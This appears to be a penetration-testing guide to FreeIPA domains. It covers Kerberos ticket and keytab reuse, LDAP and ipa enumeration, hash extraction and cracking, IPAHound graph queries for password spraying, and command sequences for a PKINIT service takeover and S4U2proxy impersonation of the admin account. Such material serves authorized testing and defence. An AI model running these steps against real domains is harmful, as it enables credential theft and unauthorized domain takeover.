FreeIPA Pentesting
Basic Information
FreeIPA is an open-source alternative to Microsoft Windows Active Directory, mainly for Unix environments. It combines a complete LDAP directory with an MIT Kerberos Key Distribution Center for management akin to Active Directory. Utilizing the Dogtag Certificate System for CA & RA certificate management, it supports multi-factor authentication, including smartcards. SSSD is integrated for Unix authentication processes.[2][9]
Fingerprints
Files & Environment Variables
These files and variables are useful host fingerprints in FreeIPA and Kerberos environments.[2]
- The file at
/etc/krb5.confis where Kerberos client information, necessary for enrollment in the domain, is stored. This includes KDCs and admin servers’ locations, default settings, and mappings. - System-wide defaults for IPA clients and servers are set in the file located at
/etc/ipa/default.conf. - Hosts within the domain must have a
krb5.keytabfile at/etc/krb5.keytabfor authentication processes. - Various environment variables (
KRB5CCNAME,KRB5_KTNAME,KRB5_CONFIG,KRB5_KDC_PROFILE,KRB5RCACHETYPE,KRB5RCACHEDIR,KRB5_TRACE,KRB5_CLIENT_KTNAME,KPROP_PORT) are used to point to specific files and settings relevant to Kerberos authentication.
Binaries
Tools such as ipa, kdestroy, kinit, klist, kpasswd, ksu, kswitch, and kvno are key to managing FreeIPA domains, handling Kerberos tickets, changing passwords, and acquiring service tickets, among other functionalities.[2]
Network
An illustration is provided to depict a typical FreeIPA server setup.[7]
Authentication
Authentication in FreeIPA, leveraging Kerberos, mirrors that in Active Directory. Access to domain resources necessitates a valid Kerberos ticket, which can be stored in various locations depending on FreeIPA domain configuration.[2]
CCACHE Ticket Files
CCACHE files, stored typically in /tmp with 600 permissions, are binary formats for storing Kerberos credentials, important for authentication without a user’s plaintext password due to their portability. Parsing a CCACHE ticket can be done using the klist command, and re-using a valid CCACHE Ticket involves exporting KRB5CCNAME to the ticket file’s path.[2]
Unix Keyring
Alternatively, CCACHE Tickets can be stored in the Linux keyring, offering more control over ticket management. The scope of ticket storage varies (KEYRING:name, KEYRING:process:name, KEYRING:thread:name, KEYRING:session:name, KEYRING:persistent:uidnumber), with klist capable of parsing this information for the user. However, re-using a CCACHE Ticket from the Unix keyring can pose challenges, with tools like Tickey available for extracting Kerberos tickets.[2]
Keytab
Keytab files, containing Kerberos principals and encrypted keys, are critical for obtaining valid ticket granting tickets (TGT) without needing the principal’s password. Parsing and re-using credentials from keytab files can be easily performed with utilities like klist and scripts such as KeytabParser.[2]
Cheatsheet
You can find more information about how to use tickets in linux in the following link:
Enumeration
[!WARNING] You can perform the enumeration via LDAP and the
ipaCLI, or by connecting to the FreeIPA web interface.[3][9]
Hosts, Users, and Groups
It’s possible to create hosts, users and groups. Hosts and users are sorted into containers called “Host Groups” and “User Groups” respectively. These are similar to Organizational Units (OU).[3]
By default in FreeIPA, the LDAP server allows for anonymous binds, and a large swath of data is enumerable unauthenticated; the following command requests the anonymously visible entries.[3]
ldapsearch -x
To get more information you need to use an authenticated session (check the Authentication section to learn how to prepare an authenticated session).[3]
# Get all users of domain
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local"
# Get users groups
ldapsearch -Y gssapi -b "cn=groups,cn=accounts,dc=domain_name,dc=local"
# Get all the hosts
ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local"
# Get hosts groups
ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"
From a domain joined machine you will be able to use installed binaries to enumerate the domain.[3]
ipa user-find
ipa usergroup-find
ipa host-find
ipa host-group-find
-------------------
ipa user-show <username> --all
ipa usergroup-show <user group> --all
ipa host-find <host> --all
ipa hostgroup-show <host group> --all
[!TIP] The admin user of FreeIPA is the equivalent to domain admins from AD.[8]
Hashes
The root user from the IPA server has access to the password hashes.[7]
- User password hashes are stored in the LDAP
userPasswordattribute using a configured password-storage scheme; 389 Directory Server supports schemes includingSSHA512andPBKDF2_SHA256.[10] - In FreeIPA deployments integrated with AD, the NT hash may be exposed as base64 in the
ipaNTHashattribute.[7][11]
To crack these hashes:
• If FreeIPA is integrated with AD, decode the base64 ipaNTHash value and re-encode it as ASCII hex before passing it to John the Ripper or hashcat.[7][11]
• Older FreeIPA deployments may use SSHA512; decode the base64 value and pass the resulting format to John the Ripper or hashcat.[7][10]
• When PBKDF2_SHA256 is configured, the derived key is 256 bits (32 bytes); use John the Ripper or hashcat only when they support the exact stored format, and do not truncate the digest.[10][13]

To extract the hashes you need to be root in the FreeIPA server, where you can use the dbscan tool to dump Directory Server database contents.[7][12]

HBAC-Rules
There are rules that grant specific permissions to users or hosts over resources (hosts, services, service groups…).[3]
# Enumerate using ldap
ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local"
# Using ipa
ipa hbacrule-find
# Show info of rule
ipa hbacrule-show <hbacrule> --all
Sudo-Rules
FreeIPA enables centralized control over sudo permissions via sudo-rules. These rules allow or limit the execution of commands with sudo on hosts within the domain. An attacker could potentially identify the applicable hosts, users, and allowed commands by examining these rulesets.[3]
# Enumerate using ldap
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
# Using ipa
ipa sudorule-find
# Show info of rule
ipa sudorule-show <sudorule> --all
Role-Based Access Control
A role is comprised of various privileges, each of which encompasses a collection of permissions. These roles can be assigned to Users, User Groups, Hosts, Host Groups, and Services. For instance, consider the default “User Administrator” role in FreeIPA to exemplify this structure.[3]
The role User Administrator has these privileges:
- User Administrators
- Group Administrators
- Stage User Administrators
With the following commands it’s possible to enumerate the roles, privileges and permissions.[3]
# Using ldap
ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local"
# Using ipa binary
ipa role-find
ipa role-show <role> --all
ipa privilege-find
ipa privilege-show <privilege> --all
ipa permission-find
ipa permission-show <permission> --all
IPAHound: Graphing FreeIPA from a low-privileged user
In FreeIPA, a regular user usually cannot read the real ACI / permission / delegation internals, so a pentest-oriented graph has to infer effective privileges from attributes that remain readable. IPAHound does this for FreeIPA in a similar way to BloodHound for AD, and is especially useful after compromising a standard user, a host keytab, or a service account.[4][5]
Collector usage
The current collector CLI is lowercase ipahound; the flags below are documented by the project.[5]
# Kerberos auth
ipahound -k -s dc1.domain.local -a freeipa_apoc.json
# Username/password auth
ipahound -s dc1.domain.local -u 'uid=user,cn=users,cn=accounts,dc=domain,dc=local' -p 'Password123!' -a freeipa_apoc.json
# Save raw LDAP for offline re-processing
ipahound -k -s dc1.domain.local --output-raw raw.json
ipahound --input-raw raw.json -a freeipa_apoc.json
For large datasets, importing the APOC JSON into Neo4j is much faster than GUI upload.[4][5][6]
CREATE CONSTRAINT FOR (n:IPADomain) REQUIRE n.neo4jImportId IS UNIQUE;
CREATE CONSTRAINT FOR (n:IPAUser) REQUIRE n.neo4jImportId IS UNIQUE;
CREATE CONSTRAINT FOR (n:IPAGroup) REQUIRE n.neo4jImportId IS UNIQUE;
CREATE CONSTRAINT FOR (n:IPAComputer) REQUIRE n.neo4jImportId IS UNIQUE;
CREATE CONSTRAINT FOR (n:IPAService) REQUIRE n.neo4jImportId IS UNIQUE;
CALL apoc.import.json("/path/to/freeipa_apoc.json");
Useful FreeIPA inference points
The collector maps these readable attributes to graph relationships and flags as follows.[4][5]
memberOf: often the best low-privilege source to infer hidden roles, privileges, and permissions.memberManager: indicates who can change group membership, which is anAddMemberprimitive.managedBy: indicates ownership of a host/group, which becomes anOwnsedge.ipaAllowedToPerform;read_keys: translates intoReadKerberosKeyand can expose keytab retrieval paths.ipaAllowedToPerform;write_keys: translates intoForceChangePasswordfor computer/service Kerberos keys.ipaAllowedToPerform;write_delegation: indicates who can configure RBCD, which becomesAddRBCD.krbTicketFlags: look forIPAKrbOkAsDelegateandIPAKrbOkToAuthAsDelegateto spot delegation-capable hosts/services.ipaUserAuthType: if missing, password auth is usually allowed; IPAHound derives this intoPasswordAuthAllow=True.
Hunting sprayable users and lateral movement
Use PasswordAuthAllow to build a focused spray list instead of spraying every principal.[4][5]
MATCH (n:IPAUser) WHERE n.PasswordAuthAllow = True
RETURN n.krbCanonicalName
Then pivot with the FreeIPA-specific lateral movement edges.[4][5]
CanSSH: an HBAC rule allows access tosshd.CanSUDO: HBAC allowssudoand a matching sudo rule exists.- Check the
CanSUDOedge attributes foripaSudoOpt=!authenticate,ipaSudoRunAs,cmdCategory,memberAllowCmd, andmemberDenyCmdto decide whether the path gives practical host escalation. - A path such as
CanSSH+CanSUDOto a domain controller can be enough to stealid2entry.db, which is effectively full domain compromise.
Service takeover, PKINIT, and delegation chaining
If you control a computer account, remember that in FreeIPA it typically owns its service principals. That gives two main options.[4]
- reset the service keys with
ipa-getkeytab - avoid resetting the service password and instead abuse PKINIT by writing a certificate into the owned service LDAP object
Minimal PKINIT takeover flow:[4]
openssl req -new -newkey rsa:2048 -days 365 -nodes \
-keyout private.key -out cert.csr -subj '/CN=srv.domain.local'
ipa cert-request cert.csr --certificate-out=srv.pem --principal=host/srv.domain.local
ldapmodify -h dc1.domain.local <<'EOF'
dn: krbprincipalname=test/srv.domain.local@DOMAIN.LOCAL,cn=services,cn=accounts,dc=domain,dc=local
add: userCertificate;binary
userCertificate;binary:: <base64 certificate>
EOF
kinit -X X509_user_identity=FILE:srv.pem,private.key test/srv.domain.local@DOMAIN.LOCAL
ldapwhoami -H ldap://dc1.domain.local
Notes:[4]
- The CSR CN needs to match the exact hostname.
- Adding the cert with the
ipautility is not enough for this path; writeuserCertificate;binaryvia LDAP. - Verify the new identity with
ldapwhoamibefore attempting delegation abuse.
Once the service has an AllowedToDelegate path, use S4U2proxy to impersonate a privileged account to LDAP.[4]
kvno -U admin -k service.keytab -P ldap/dc1.domain.local@DOMAIN.LOCAL \
test/srv.domain.local@DOMAIN.LOCAL --out-cache ldap_admin.cache
KRB5CCNAME=ldap_admin.cache ldapwhoami -H ldap://dc1.domain.local
If the graph instead shows AddMember followed by AddRBCD, add yourself to the delegated group first and then configure RBCD with ipa service-add-delegation before requesting the delegated LDAP ticket.[4]
Attack Scenario Example
In https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e you can find a simple example of how to abuse some permissions to compromise the domain.[8]
Linikatz/LinikatzV2
Privesc
root user creation
[!WARNING] If you can create a new user with the name
root, you can impersonate him and you will be able to SSH into any machine as root.THIS HAS BEEN PATCHED.
You can check a detailed explaination in https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b.[1]
References
- [1] Attacking FreeIPA — Part IV: CVE-2020–10747
- [2] Attacking FreeIPA — Part I Authentication
- [3] Attacking FreeIPA — Part II Enumeration
- [4] Thinking in Graphs with IPAHound
- [5] IPAHound - BloodHound collector for FreeIPA
- [6] IPAHound-GUI - GUI for the IPAHound collector
- [7] Olga Karelova - Пентестим FreeIPA (Pentesting FreeIPA)
- [8] Attacking FreeIPA — Part III: Finding A Path
- [9] About FreeIPA
- [10] Password storage schemes in 389 Directory Server
- [11] FreeIPA LDAP schema
- [12] dbscan(1) manual page
- [13] 389 Directory Server PBKDF2 upgrade tests